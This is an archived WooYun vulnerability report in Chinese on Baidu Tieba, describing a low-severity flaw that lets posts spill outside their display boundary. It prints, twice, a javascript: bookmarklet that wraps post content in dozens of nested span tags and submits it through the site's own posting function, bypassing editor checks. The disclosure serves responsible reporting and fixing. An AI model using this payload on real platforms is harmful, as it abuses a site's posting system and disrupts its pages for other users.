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缺陷编号:wooyun-2013-019466

漏洞标题:贴吧超边界发内容 (专注贴吧挖洞30年)

相关厂商:百度

漏洞作者: erevus

提交时间:2013-03-04 11:20

修复时间:2013-04-18 11:21

公开时间:2013-04-18 11:21

漏洞类型:内容安全

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-03-04: 细节已通知厂商并且等待厂商处理中
2013-03-05: 厂商已经确认,细节仅向厂商公开
2013-03-15: 细节向核心白帽子及相关领域专家公开
2013-03-25: 细节向普通白帽子公开
2013-04-04: 细节向实习白帽子公开
2013-04-18: 细节向公众公开

简要描述:

不知道怎么说 直接上网址吧
http://tieba.baidu.com/p/2192179599

详细说明:

先打上你要发的内容
然后来一段js代码

javascript:var%20b=rich_postor._editor.getHtml();c=rich_postor._getData();c.content='<spanclass="apc_src_wrapper"><span%20class="apc_src_wrapper"><spanclass="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper">'+b+'</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><img%20pic_type="3"%20class="BDE_Image"%20src="http://imgsrc.baidu.com/forum/pic/item/6f657e2eb9389b50e1daf96e8435e5dde7116e1d.jpg"%20height="1"%20width="1">';PostHandler.post(rich_postor._option.url,c,function(I){rich_postor.showAddResult(I)},function(I){});void%200


测试地址:http://tieba.baidu.com/p/2192179599

漏洞证明:

先打上你要发的内容
然后来一段js代码

javascript:var%20b=rich_postor._editor.getHtml();c=rich_postor._getData();c.content='<spanclass="apc_src_wrapper"><span%20class="apc_src_wrapper"><spanclass="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper"><span%20class="apc_src_wrapper">'+b+'</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><img%20pic_type="3"%20class="BDE_Image"%20src="http://imgsrc.baidu.com/forum/pic/item/6f657e2eb9389b50e1daf96e8435e5dde7116e1d.jpg"%20height="1"%20width="1">';PostHandler.post(rich_postor._option.url,c,function(I){rich_postor.showAddResult(I)},function(I){});void%200


测试地址:http://tieba.baidu.com/p/2192179599

修复方案:

服务器进行内容判断

版权声明:转载请注明来源 erevus@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-03-05 15:33

厂商回复:

感谢你对百度安全的关注,我们马上安排处理!

最新状态:

暂无